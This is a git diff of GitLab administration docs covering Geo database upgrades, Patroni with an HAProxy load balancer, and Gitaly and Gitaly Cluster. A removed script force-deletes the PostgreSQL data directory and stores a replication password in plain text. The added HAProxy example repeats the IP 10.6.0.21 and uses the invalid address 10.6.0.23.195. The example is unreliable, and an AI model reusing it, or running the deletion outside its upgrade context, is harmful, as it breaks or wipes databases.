Check the steps about defining `postgresql['sql_user_password']`, `gitlab_rails['db_password']`. -1. Make sure `postgresql['max_replication_slots']` matches the number of **secondary** Geo nodes locations. -1. Install GitLab on the **secondary** server. -1. Re-run the [database replication process](../setup/database.md#step-3-initiate-the-replication-process). - -## Updating to GitLab 9.0 - -> **IMPORTANT**: -With GitLab 9.0, the PostgreSQL version is updated to 9.6 and manual steps are -required to update the **secondary** nodes and keep the Streaming Replication -working. Downtime is required, so plan ahead. - -The following steps apply only if you update from a 8.17 GitLab version to -9.0+. For previous versions, update to GitLab 8.17 first before attempting to -update to 9.0+. - ---- - -Make sure to follow the steps in the exact order as they appear below and pay -extra attention in what node (either **primary** or **secondary**) you execute them! Each step -is prepended with the relevant node for better clarity: - -1. **(secondary)** Log in to **all** your **secondary** nodes and stop all services: - - ```ruby - sudo gitlab-ctl stop - ``` - -1. **(secondary)** Make a backup of the `recovery.conf` file on **all** - **secondary** nodes to preserve PostgreSQL's credentials: - - ```shell - sudo cp /var/opt/gitlab/postgresql/data/recovery.conf /var/opt/gitlab/ - ``` - -1. **(primary)** Update the **primary** node to GitLab 9.0 following the - [regular update docs](../../../update/README.md). At the end of the - update, the **primary** node will be running with PostgreSQL 9.6. - -1. **(primary)** To prevent a de-synchronization of the repository replication, - stop all services except `postgresql` as we will use it to re-initialize the - **secondary** node's database: - - ```shell - sudo gitlab-ctl stop - sudo gitlab-ctl start postgresql - ``` - -1. **(secondary)** Run the following steps on each of the **secondary** nodes: - - 1. **(secondary)** Stop all services: - - ```shell - sudo gitlab-ctl stop - ``` - - 1. **(secondary)** Prevent running database migrations: - - ```shell - sudo touch /etc/gitlab/skip-auto-migrations - ``` - - 1. **(secondary)** Move the old database to another directory: - - ```shell - sudo mv /var/opt/gitlab/postgresql{,.bak} - ``` - - 1. **(secondary)** Update to GitLab 9.0 following the [regular update docs](../../../update/README.md). - At the end of the update, the node will be running with PostgreSQL 9.6. - - 1. **(secondary)** Make sure all services are up: - - ```shell - sudo gitlab-ctl start - ``` - - 1. **(secondary)** Reconfigure GitLab: - - ```shell - sudo gitlab-ctl reconfigure - ``` - - 1. **(secondary)** Run the PostgreSQL upgrade command: - - ```shell - sudo gitlab-ctl pg-upgrade - ``` - - 1. **(secondary)** See the stored credentials for the database that you will - need to re-initialize the replication: - - ```shell - sudo grep -s primary_conninfo /var/opt/gitlab/recovery.conf - ``` - - 1. **(secondary)** Save the snippet below in a file, let's say `/tmp/replica.sh`. Modify the - embedded paths if necessary: - - ```shell - #!/bin/bash - - PORT="5432" - USER="gitlab_replicator" - echo --------------------------------------------------------------- - echo WARNING: Make sure this script is run from the secondary server - echo --------------------------------------------------------------- - echo - echo Enter the IP or FQDN of the primary PostgreSQL server - read HOST - echo Enter the password for $USER@$HOST - read -s PASSWORD - echo Enter the required sslmode - read SSLMODE - - echo Stopping PostgreSQL and all GitLab services - sudo service gitlab stop - sudo service postgresql stop - - echo Backing up postgresql.conf - sudo -u postgres mv /var/opt/gitlab/postgresql/data/postgresql.conf /var/opt/gitlab/postgresql/ - - echo Cleaning up old cluster directory - sudo -u postgres rm -rf /var/opt/gitlab/postgresql/data - - echo Starting base backup as the replicator user - echo Enter the password for $USER@$HOST - sudo -u postgres /opt/gitlab/embedded/bin/pg_basebackup -h $HOST -D /var/opt/gitlab/postgresql/data -U gitlab_replicator -v -x -P - - echo Writing recovery.conf file - sudo -u postgres bash -c "cat > /var/opt/gitlab/postgresql/data/recovery.conf <<- _EOF1_ - standby_mode = 'on' - primary_conninfo = 'host=$HOST port=$PORT user=$USER password=$PASSWORD sslmode=$SSLMODE' - _EOF1_ - " - - echo Restoring postgresql.conf - sudo -u postgres mv /var/opt/gitlab/postgresql/postgresql.conf /var/opt/gitlab/postgresql/data/ - - echo Starting PostgreSQL - sudo service postgresql start - ``` - - 1. **(secondary)** Run the recovery script using the credentials from the - previous step: - - ```shell - sudo bash /tmp/replica.sh - ``` - - 1. **(secondary)** Reconfigure GitLab: - - ```shell - sudo gitlab-ctl reconfigure - ``` - - 1. **(secondary)** Start all services: - - ```shell - sudo gitlab-ctl start - ``` - - 1. **(secondary)** Repeat the steps for the remaining **secondary** nodes. - -1. **(primary)** After all **secondary** nodes are updated, start all services in - **primary** node: - - ```shell - sudo gitlab-ctl start - ``` - -### Update tracking database on **secondary** node - -After updating a **secondary** node, you might need to run migrations on the -tracking database. The tracking database was added in GitLab 9.1, and is -required in GitLab 10.0 and later. - -1. Run database migrations on tracking database: - - ```shell - sudo gitlab-rake geo:db:migrate - ``` - -1. Repeat this step for each **secondary** node. +The issue is fixed in GitLab 12.1. Be sure to upgrade to GitLab 12.1 or later. diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md index 95f67b20ab5..1272e7d1419 100644 --- a/doc/administration/geo/setup/database.md +++ b/doc/administration/geo/setup/database.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo database replication **(PREMIUM ONLY)** +# Geo database replication **(PREMIUM SELF)** NOTE: If your GitLab installation uses external (not managed by Omnibus) PostgreSQL @@ -472,33 +472,31 @@ information, see [High Availability with Omnibus GitLab](../../postgresql/replic ## Patroni support Support for Patroni is intended to replace `repmgr` as a -[highly availabile PostgreSQL solution](../../postgresql/replication_and_failover.md) +[highly available PostgreSQL solution](../../postgresql/replication_and_failover.md) on the primary node, but it can also be used for PostgreSQL HA on a secondary -node. +site. Starting with GitLab 13.5, Patroni is available for _experimental_ use with Geo -primary and secondary nodes. Due to its experimental nature, Patroni support is +primary and secondary sites. Due to its experimental nature, Patroni support is subject to change without notice. This experimental implementation has the following limitations: -- Whenever a new Leader is elected, the PgBouncer instance must be reconfigured - to point to the new Leader. -- Whenever a new Leader is elected on the primary node, the Standby Leader on - the secondary needs to be reconfigured to point to the new Leader. - Whenever `gitlab-ctl reconfigure` runs on a Patroni Leader instance, there's a chance the node will be demoted due to the required short-time restart. To avoid this, you can pause auto-failover by running `gitlab-ctl patroni pause`. - After a reconfigure, it unpauses on its own. + After a reconfigure, it resumes on its own. -For instructions about how to set up Patroni on the primary node, see the +For instructions about how to set up Patroni on the primary site, see the [PostgreSQL replication and failover with Omnibus GitLab](../../postgresql/replication_and_failover.md#patroni) page. -If you are currently using `repmgr` on your Geo primary, see [these instructions](#migrating-from-repmgr-to-patroni) for migrating from `repmgr` to Patroni. +If you are currently using `repmgr` on your Geo primary site, see [these instructions](#migrating-from-repmgr-to-patroni) for migrating from `repmgr` to Patroni. -A production-ready and secure setup requires at least three Patroni instances on -the primary site, and a similar configuration on the secondary sites. Be sure to -use password credentials and other database best practices. +A production-ready and secure setup requires at least three Consul nodes, three +Patroni nodes, one internal load-balancing node on the primary site, and a similar +configuration for the secondary site. The internal load balancer provides a single +endpoint for connecting to the Patroni cluster's leader whenever a new leader is +elected. Be sure to use [password credentials](../..//postgresql/replication_and_failover.md#database-authorization-for-patroni) and other database best practices. Similar to `repmgr`, using Patroni on a secondary node is optional. @@ -555,7 +553,51 @@ Leader instance**: gitlab-ctl reconfigure ``` -### Step 2. Configure a Standby cluster on the secondary site +### Step 2. Configure the internal load balancer on the primary site + +To avoid reconfiguring the Standby Leader on the secondary site whenever a new +Leader is elected on the primary site, we'll need to set up a TCP internal load +balancer which will give a single endpoint for connecting to the Patroni +cluster's Leader. + +The Omnibus GitLab packages do not include a Load Balancer. Here's how you +could do it with [HAProxy](https://www.haproxy.org/). + +The following IPs and names will be used as an example: + +- `10.6.0.21`: Patroni 1 (`patroni1.internal`) +- `10.6.0.21`: Patroni 2 (`patroni2.internal`) +- `10.6.0.22`: Patroni 3 (`patroni3.internal`) + +```plaintext +global + log /dev/log local0 + log localhost local1 notice + log stdout format raw local0 + +defaults + log global + default-server inter 3s fall 3 rise 2 on-marked-down shutdown-sessions + +frontend internal-postgresql-tcp-in + bind *:5000 + mode tcp + option tcplog + + default_backend postgresql + +backend postgresql + option httpchk + http-check expect status 200 + + server patroni1.internal 10.6.0.21:5432 maxconn 100 check port 8008 + server patroni2.internal 10.6.0.22:5432 maxconn 100 check port 8008 + server patroni3.internal 10.6.0.23.195:5432 maxconn 100 check port 8008 +``` + +Refer to your preferred Load Balancer's documentation for further guidance. + +### Step 3. Configure a Standby cluster on the secondary site NOTE: If you are converting a secondary site to a Patroni Cluster, you must start @@ -589,8 +631,8 @@ For each Patroni instance on the secondary site: patroni['enable'] = false patroni['standby_cluster']['enable'] = true - patroni['standby_cluster']['host'] = 'PATRONI_PRIMARY_LEADER_IP' # This needs to be changed anytime the primary Leader changes - patroni['standby_cluster']['port'] = 5432 + patroni['standby_cluster']['host'] = 'INTERNAL_LOAD_BALANCER_PRIMARY_IP' + patroni['standby_cluster']['port'] = INTERNAL_LOAD_BALANCER_PRIMARY_PORT patroni['standby_cluster']['primary_slot_name'] = 'geo_secondary' # Or the unique replication slot name you setup before patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD' patroni['use_pg_rewind'] = true @@ -642,10 +684,11 @@ With Patroni it's now possible to support that. In order to migrate the existing 1. Make sure you have a Consul cluster setup on the secondary (similar to how you set it up on the primary). 1. [Configure a permanent replication slot](#step-1-configure-patroni-permanent-replication-slot-on-the-primary-site). -1. [Configure a Standby Cluster](#step-2-configure-a-standby-cluster-on-the-secondary-site) +1. [Configure the internal load balancer](#step-2-configure-the-internal-load-balancer-on-the-primary-site). +1. [Configure a Standby Cluster](#step-3-configure-a-standby-cluster-on-the-secondary-site) on that single node machine. - -You will end up with a "Standby Cluster" with a single node. That allows you to later on add additional patroni nodes + +You will end up with a "Standby Cluster" with a single node. That allows you to later on add additional Patroni nodes by following the same instructions above. ## Troubleshooting diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md index 1fb41fbb53a..8e7d8049467 100644 --- a/doc/administration/geo/setup/external_database.md +++ b/doc/administration/geo/setup/external_database.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo with external PostgreSQL instances **(PREMIUM ONLY)** +# Geo with external PostgreSQL instances **(PREMIUM SELF)** This document is relevant if you are using a PostgreSQL instance that is *not managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or diff --git a/doc/administration/git_annex.md b/doc/administration/git_annex.md index e21a8ac7e84..07b7b1730e3 100644 --- a/doc/administration/git_annex.md +++ b/doc/administration/git_annex.md @@ -38,7 +38,7 @@ very fast file copying tool. ## GitLab git-annex Configuration -`git-annex` is disabled by default in GitLab. Below you will find the +`git-annex` is disabled by default in GitLab. Below are the configuration options required to enable it. ### Requirements @@ -60,7 +60,7 @@ sudo yum install epel-release && sudo yum install git-annex ### Configuration for Omnibus packages For Omnibus GitLab packages, only one configuration setting is needed. -The Omnibus package will internally set the correct options in all locations. +The Omnibus package internally sets the correct options in all locations. 1. In `/etc/gitlab/gitlab.rb` add the following line: @@ -148,15 +148,15 @@ To example.com:group/project.git ok ``` -Your files can be found in the `master` branch, but you'll notice that there -are more branches created by the `annex sync` command. +Your files can be found in the `master` branch, but more branches are created +by the `annex sync` command. -Git Annex will also create a new directory at `.git/annex/` and will record the +Git Annex creates a new directory at `.git/annex/` and records the tracked files in the `.git/config` file. The files you assign to be tracked -with `git-annex` will not affect the existing `.git/config` records. The files +with `git-annex` don't affect the existing `.git/config` records. The files are turned into symbolic links that point to data in `.git/annex/objects/`. -The `debian.iso` file in the example will contain the symbolic link: +The `debian.iso` file in the example contain the symbolic link: ```plaintext .git/annex/objects/ZW/1k/SHA256E-s82701--6384039733b5035b559efd5a2e25a493ab6e09aabfd5162cc03f6f0ec238429d.png/SHA256E-s82701--6384039733b5035b559efd5a2e25a493ab6e09aabfd5162cc03f6f0ec238429d.iso @@ -167,7 +167,7 @@ repository. --- -Downloading a single large file is also very simple: +You can download a single large file with these commands: ```shell git clone git@gitlab.example.com:group/project.git @@ -185,7 +185,7 @@ git annex sync --content # sync Git branches and download all the large files ``` By using `git-annex` without GitLab, anyone that can access the server can also -access the files of all projects, but GitLab Annex ensures that you can only +access the files of all projects. GitLab Annex ensures that you can only access files of projects you have access to (developer, maintainer, or owner role). ## How it works diff --git a/doc/administration/git_protocol.md b/doc/administration/git_protocol.md index ca4fa0549d0..acc05a77bee 100644 --- a/doc/administration/git_protocol.md +++ b/doc/administration/git_protocol.md @@ -6,7 +6,7 @@ type: reference description: "Set and configure Git protocol v2" --- -# Configuring Git Protocol v2 +# Configuring Git Protocol v2 **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46555) in GitLab 11.4. > - [Temporarily disabled](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55769) in GitLab 11.5.8, 11.6.6, 11.7.1, and 11.8+. @@ -29,11 +29,11 @@ server to accept the `GIT_PROTOCOL` environment. In installations using [GitLab Helm Charts](https://docs.gitlab.com/charts/) and [All-in-one Docker image](https://docs.gitlab.com/omnibus/docker/), the SSH -service is already configured to accept the `GIT_PROTOCOL` environment and users +service is already configured to accept the `GIT_PROTOCOL` environment. Users need not do anything more. -For Omnibus GitLab and installations from source, you have to manually update -the SSH configuration of your server by adding the line below to the `/etc/ssh/sshd_config` file: +For Omnibus GitLab and installations from source, update +the SSH configuration of your server manually by adding this line to the `/etc/ssh/sshd_config` file: ```plaintext AcceptEnv GIT_PROTOCOL @@ -120,5 +120,7 @@ production environment, you can use the following Prometheus query: sum(rate(gitaly_git_protocol_requests_total[1m])) by (grpc_method,git_protocol,grpc_service) ``` +<!-- This link sporadically returns a 503 during automated link checking but is correct --> + You can view what Git protocol versions are being used on GitLab.com at <https://dashboards.gitlab.com/d/pqlQq0xik/git-protocol-versions>. diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 9577fb40abe..f02b9b8fc1a 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -19,7 +19,7 @@ In the Gitaly documentation: - [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell). - [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse). -GitLab end users do not have direct access to Gitaly. Gitaly only manages Git +GitLab end users do not have direct access to Gitaly. Gitaly manages only Git repository access for GitLab. Other types of GitLab data aren't accessed using Gitaly. <!-- vale gitlab.FutureTense = NO --> @@ -40,7 +40,7 @@ The following is a high-level architecture overview of how Gitaly is used. ## Configure Gitaly -The Gitaly service itself is configured via a [TOML configuration file](reference.md). +The Gitaly service itself is configured by using a [TOML configuration file](reference.md). To change Gitaly settings: @@ -91,8 +91,8 @@ When running Gitaly on its own server, note the following regarding GitLab versi - From GitLab 11.4, Gitaly was able to serve all Git requests without requiring a shared NFS mount for Git repository data, except for the [Elasticsearch indexer](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). -- From GitLab 11.8, the Elasticsearch indexer uses Gitaly for data access as well. NFS can still be - leveraged for redundancy on block-level Git data, but only has to be mounted on the Gitaly +- From GitLab 11.8, the Elasticsearch indexer also uses Gitaly for data access. NFS can still be + leveraged for redundancy on block-level Git data, but should be mounted only on the Gitaly servers. - From GitLab 11.8 to 12.2, it is possible to use Elasticsearch in a Gitaly setup that doesn't use NFS. To use Elasticsearch in these versions, the @@ -121,7 +121,7 @@ The following list depicts the network architecture of Gitaly: - GitLab Shell. - Elasticsearch indexer. - Gitaly itself. -- A Gitaly server must be able to make RPC calls **to itself** via its own +- A Gitaly server must be able to make RPC calls **to itself** by using its own `(Gitaly address, Gitaly token)` pair as specified in `/config/gitlab.yml`. - Authentication is done through a static token which is shared among the Gitaly and GitLab Rails nodes. @@ -497,16 +497,16 @@ gitaly['certificate_path'] = "/etc/gitlab/ssl/cert.pem" gitaly['key_path'] = "/etc/gitlab/ssl/key.pem" ``` -`path` can only be included for storage shards on the local Gitaly server. +`path` can be included only for storage shards on the local Gitaly server. If it's excluded, default Git storage directory is used for that storage shard. ### Disable Gitaly where not required (optional) -If you are running Gitaly [as a remote service](#run-gitaly-on-its-own-server), you may want to -disable the local Gitaly service that runs on your GitLab server by default and have it only running -where required. +If you run Gitaly [as a remote service](#run-gitaly-on-its-own-server), consider +disabling the local Gitaly service that runs on your GitLab server by default, and run it +only where required. -Disabling Gitaly on the GitLab instance only makes sense when you run GitLab in a custom cluster configuration, where +Disabling Gitaly on the GitLab instance makes sense only when you run GitLab in a custom cluster configuration, where Gitaly runs on a separate machine from the GitLab instance. Disabling Gitaly on all machines in the cluster is not a valid configuration (some machines much act as Gitaly servers). @@ -538,7 +538,7 @@ To disable Gitaly on a GitLab server: > - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3160) in GitLab 13.6, outgoing TLS connections to GitLab provide client certificates if configured. Gitaly supports TLS encryption. To communicate with a Gitaly instance that listens for secure -connections, you must use `tls://` URL scheme in the `gitaly_address` of the corresponding +connections, use the `tls://` URL scheme in the `gitaly_address` of the corresponding storage entry in the GitLab configuration. Gitaly provides the same server certificates as client certificates in TLS @@ -724,7 +724,7 @@ Gitaly Go process. Some examples of things that are implemented in `gitaly-ruby` We recommend: -- At least 300MB memory per worker. +- At least 300 MB memory per worker. - No more than one worker per core. NOTE: @@ -752,7 +752,7 @@ settings: gitaly['ruby_num_workers'] = 4 ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). **For installations from source** @@ -810,9 +810,42 @@ You can observe the behavior of this queue using the Gitaly logs and Prometheus: - `gitaly_rate_limiting_seconds`. NOTE: -Though the name of the Prometheus metric contains `rate_limiting`, it is a concurrency limiter, not -a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency does not -exceed 1 and the concurrency limiter has no effect. +Although the name of the Prometheus metric contains `rate_limiting`, it's a concurrency limiter, not +a rate limiter. If a Gitaly client makes 1,000 requests in a row very quickly, concurrency doesn't +exceed 1, and the concurrency limiter has no effect. + +## Background Repository Optimization + +Empty directories and unneeded config settings may accumulate in a repository and +slow down Git operations. Gitaly can schedule a daily background task with a maximum duration +to clean up these items and improve performance. + +WARNING: +This is an experimental feature and may place significant load on the host while running. +Make sure to schedule this during off-peak hours and keep the duration short (for example, 30-60 minutes). + +**For Omnibus GitLab** + +Edit `/etc/gitlab/gitlab.rb` and add: + +```ruby +gitaly['daily_maintenance_start_hour'] = 4 +gitaly['daily_maintenance_start_minute'] = 30 +gitaly['daily_maintenance_duration'] = '30m' +gitaly['daily_maintenance_storages'] = ["default"] +``` + +**For installations from source** + +Edit `/home/git/gitaly/config.toml` and add: + +```toml +[daily_maintenance] +start_hour = 4 +start_minute = 30 +duration = '30m' +storages = ["default"] +``` ## Rotate Gitaly authentication token @@ -847,7 +880,7 @@ see something like this: {enforced="true",status="ok"} 4424.985419441742 ``` -There may also be other numbers with rate 0. We only care about the non-zero numbers. +There may also be other numbers with rate 0. We care only about the non-zero numbers. The only non-zero number should have `enforced="true",status="ok"`. If you have other non-zero numbers, something is wrong in your configuration. @@ -906,7 +939,7 @@ After the new token is set, and all services involved have been restarted, you w - `status="would be ok"`. - `status="denied"`. -After the new token has been picked up by all Gitaly clients and Gitaly servers, the +After the new token is picked up by all Gitaly clients and Gitaly servers, the **only non-zero rate** should be `enforced="false",status="would be ok"`. ### Disable "auth transitioning" mode @@ -935,12 +968,13 @@ Note that `enforced="true"` means that authentication is being enforced. ## Direct Git access bypassing Gitaly -While it is possible to access Gitaly repositories stored on disk directly with a Git client, -it is not advisable because Gitaly is being continuously improved and changed. Theses improvements may invalidate assumptions, resulting in performance degradation, instability, and even data loss. +GitLab doesn't advise directly accessing Gitaly repositories stored on disk with +a Git client, because Gitaly is being continuously improved and changed. These +improvements may invalidate assumptions, resulting in performance degradation, instability, and even data loss. Gitaly has optimizations, such as the [`info/refs` advertisement cache](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/design_diskcache.md), -that rely on Gitaly controlling and monitoring access to repositories via the +that rely on Gitaly controlling and monitoring access to repositories by using the official gRPC interface. Likewise, Praefect has optimizations, such as fault tolerance and distributed reads, that depend on the gRPC interface and database to determine repository state. @@ -979,11 +1013,11 @@ lookup. Even when Gitaly is able to re-use an already-running `git` process (for a commit), you still have: - The cost of a network roundtrip to Gitaly. -- Within Gitaly, a write/read roundtrip on the Unix pipes that connect Gitaly to the `git` process. +- Inside Gitaly, a write/read roundtrip on the Unix pipes that connect Gitaly to the `git` process. Using GitLab.com to measure, we reduced the number of Gitaly calls per request until the loss of Rugged's efficiency was no longer felt. It also helped that we run Gitaly itself directly on the Git -file severs, rather than via NFS mounts. This gave us a speed boost that counteracted the negative +file severs, rather than by using NFS mounts. This gave us a speed boost that counteracted the negative effect of not using Rugged anymore. Unfortunately, other deployments of GitLab could not remove NFS like we did on GitLab.com, and they @@ -1018,7 +1052,7 @@ The result of these checks is cached. To see if GitLab can access the repository file system directly, we use the following heuristic: - Gitaly ensures that the file system has a metadata file in its root with a UUID in it. -- Gitaly reports this UUID to GitLab via the `ServerInfo` RPC. +- Gitaly reports this UUID to GitLab by using the `ServerInfo` RPC. - GitLab Rails tries to read the metadata file directly. If it exists, and if the UUID's match, assume we have direct access. @@ -1085,7 +1119,7 @@ app nodes). ### Client side gRPC logs Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC -client has its own log file which may contain useful information when +client has its own log file which may contain debugging information when you are seeing Gitaly errors. You can control the log level of the gRPC client with the `GRPC_LOG_LEVEL` environment variable. The default level is `WARN`. @@ -1100,7 +1134,7 @@ sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check Sometimes you need to find out which Gitaly RPC created a particular Git process. -One method for doing this is via `DEBUG` logging. However, this needs to be enabled +One method for doing this is by using `DEBUG` logging. However, this needs to be enabled ahead of time and the logs produced are quite verbose. A lightweight method for doing this correlation is by inspecting the environment @@ -1111,7 +1145,7 @@ PID=<Git process ID> sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID= ``` -Please note that this method is not reliable for `git cat-file` processes because Gitaly +This method isn't reliable for `git cat-file` processes, because Gitaly internally pools and re-uses those across RPCs. ### Observing `gitaly-ruby` traffic @@ -1127,7 +1161,7 @@ not differentiate between `gitaly-ruby` and other RPCs, but in practice (as of GitLab 11.9), all gRPC calls made by Gitaly itself are internal calls from the main Gitaly process to one of its `gitaly-ruby` sidecars. -Assuming your `grpc_client_handled_total` counter only observes Gitaly, +Assuming your `grpc_client_handled_total` counter observes only Gitaly, the following query shows you RPCs are (most likely) internally implemented as calls to `gitaly-ruby`: @@ -1137,16 +1171,19 @@ sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0 ### Repository changes fail with a `401 Unauthorized` error -If you're running Gitaly on its own server and notice that users can -successfully clone and fetch repositories (via both SSH and HTTPS), but can't -push to them or make changes to the repository in the web UI without getting a -`401 Unauthorized` message, then it's possible Gitaly is failing to authenticate -with the Gitaly client due to having the [wrong secrets file](#configure-gitaly-servers). +If you run Gitaly on its own server and notice these conditions: + +- Users can successfully clone and fetch repositories by using both SSH and HTTPS. +- Users can't push to repositories, or receive a `401 Unauthorized` message when attempting to + make changes to them in the web UI. + +Gitaly may be failing to authenticate with the Gitaly client because it has the +[wrong secrets file](#configure-gitaly-servers). Confirm the following are all true: - When any user performs a `git push` to any repository on this Gitaly server, it - fails with the following error (note the `401 Unauthorized`): + fails with a `401 Unauthorized` error: ```shell remote: GitLab: 401 Unauthorized @@ -1157,8 +1194,8 @@ Confirm the following are all true: - When any user adds or modifies a file from the repository using the GitLab UI, it immediately fails with a red `401 Unauthorized` banner. -- Creating a new project and [initializing it with a README](../../gitlab-basics/create-project.md#blank-projects) - successfully creates the project but doesn't create the README. +- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects) + successfully creates the project, but doesn't create the README. - When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on a Gitaly client and reproducing the error, you get `401` errors when reaching the `/api/v4/internal/allowed` endpoint: @@ -1229,11 +1266,11 @@ update the secrets file on the Gitaly server to match the Gitaly client, then ### Command line tools cannot connect to Gitaly -If you are having trouble connecting to a Gitaly server with command line (CLI) tools, +If you can't connect to a Gitaly server with command line (CLI) tools, and certain actions result in a `14: Connect Failed` error message, -it means that gRPC cannot reach your Gitaly server. +gRPC cannot reach your Gitaly server. -Verify that you can reach Gitaly via TCP: +Verify you can reach Gitaly by using TCP: ```shell sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT] @@ -1269,8 +1306,8 @@ If this error occurs even though file permissions are correct, it's likely that the Gitaly server is experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift). -Please ensure that the Gitaly clients and servers are synchronized and use an NTP time -server to keep them synchronized if possible. +Ensure the Gitaly clients and servers are synchronized, and use an NTP time +server to keep them synchronized, if possible. ### Praefect diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index fe8b3e5f566..45f478b8d16 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -5,12 +5,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Gitaly Cluster **(CORE ONLY)** +# Gitaly Cluster **(FREE SELF)** [Gitaly](index.md), the service that provides storage for Git repositories, can be run in a clustered configuration to increase fault tolerance. In this configuration, every Git repository is stored on every Gitaly node in the -cluster. Multiple clusters (or shards) can be configured. +cluster. Multiple clusters (or storage shards) can be configured. NOTE: Technical support for Gitaly clusters is limited to GitLab Premium and Ultimate @@ -21,7 +21,7 @@ component for running a Gitaly Cluster.  -Using a Gitaly Cluster increase fault tolerance by: +Using a Gitaly Cluster increases fault tolerance by: - Replicating write operations to warm standby Gitaly nodes. - Detecting Gitaly node failures. @@ -53,7 +53,7 @@ Gitaly Cluster supports: - Reporting of possible data loss if replication queue is non-empty. - Marking repositories as [read only](#read-only-mode) if data loss is detected to prevent data inconsistencies. -Follow the [HA Gitaly epic](https://gitlab.com/groups/gitlab-org/-/epics/1489) +Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489) for improvements including [horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013). @@ -65,7 +65,7 @@ Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the r not aware when Gitaly Cluster is used. - Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for an entire instance of GitLab. Users know when they are using Geo for - [replication](../geo/index.md). Geo [replicates multiple datatypes](../geo/replication/datatypes.md#limitations-on-replicationverification), + [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification), including Git data. The following table outlines the major differences between Gitaly Cluster and Geo: @@ -80,23 +80,65 @@ For more information, see: - [Gitaly architecture](index.md#architecture). - Geo [use cases](../geo/index.md#use-cases) and [architecture](../geo/index.md#architecture). -## Cluster or shard +## Where Gitaly Cluster fits + +GitLab accesses [repositories](../../user/project/repository/index.md) through the configured +[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the +repository storages based on their configured weights. Each repository storage is either: + +- A Gitaly storage served directly by Gitaly. These map to a directory on the file system of a + Gitaly node. +- A [virtual storage](#virtual-storage-or-direct-gitaly-storage) served by Praefect. A virtual + storage is a cluster of Gitaly storages that appear as a single repository storage. + +Virtual storages are a feature of Gitaly Cluster. They support replicating the repositories to +multiple storages for fault tolerance. Virtual storages can improve performance by distributing +requests across Gitaly nodes. Their distributed nature makes it viable to have a single repository +storage in GitLab to simplify repository management. + +## Components of Gitaly Cluster + +Gitaly Cluster consists of multiple components: + +- [Load balancer](#load-balancer) for distributing requests and providing fault-tolerant access to + Praefect nodes. +- [Praefect](#praefect) nodes for managing the cluster and routing requests to Gitaly nodes. +- [PostgreSQL database](#postgresql) for persisting cluster metadata and [PgBouncer](#pgbouncer), + recommended for pooling Praefect's database connections. +- [Gitaly](index.md) nodes to provide repository storage and Git access. + + + +In this example: + +- Repositories are stored on a virtual storage called `storage-1`. +- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`. +- The three Gitaly nodes store data on their file systems. + +### Virtual storage or direct Gitaly storage Gitaly supports multiple models of scaling: - Clustering using Gitaly Cluster, where each repository is stored on multiple Gitaly nodes in the cluster. Read requests are distributed between repository replicas and write requests are - broadcast to repository replicas. -- Sharding using [repository storage paths](../repository_storage_paths.md), where each repository - is stored on the assigned Gitaly node. All requests are routed to this node. + broadcast to repository replicas. GitLab accesses virtual storage. +- Direct access to Gitaly storage using [repository storage paths](../repository_storage_paths.md), + where each repository is stored on the assigned Gitaly node. All requests are routed to this node. + +The following is Gitaly set up to use direct access to Gitaly instead of Gitaly Cluster: + + -| Cluster | Shard | -|:--------------------------------------------------|:----------------------------------------------| -|  |  | +In this example: -Generally, Gitaly Cluster can replace sharded configurations, at the expense of additional storage -needed to store each repository on multiple Gitaly nodes. The benefit of using Gitaly Cluster over -sharding is: +- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`, + or `storage-3`. +- Each storage is serviced by a Gitaly node. +- The three Gitaly nodes store data in three separate hashed storage locations. + +Generally, virtual storage with Gitaly Cluster can replace direct Gitaly storage configurations, at +the expense of additional storage needed to store each repository on multiple Gitaly nodes. The +benefit of using Gitaly Cluster over direct Gitaly storage is: - Improved fault tolerance, because each Gitaly node has a copy of every repository. - Improved resource utilization, reducing the need for over-provisioning for shard-specific peak @@ -105,7 +147,7 @@ sharding is: replicas. - Simpler management, because all Gitaly nodes are identical. -Under some workloads, CPU and memory requirements may require a large fleet of Gitaly nodes and it +Under some workloads, CPU and memory requirements may require a large fleet 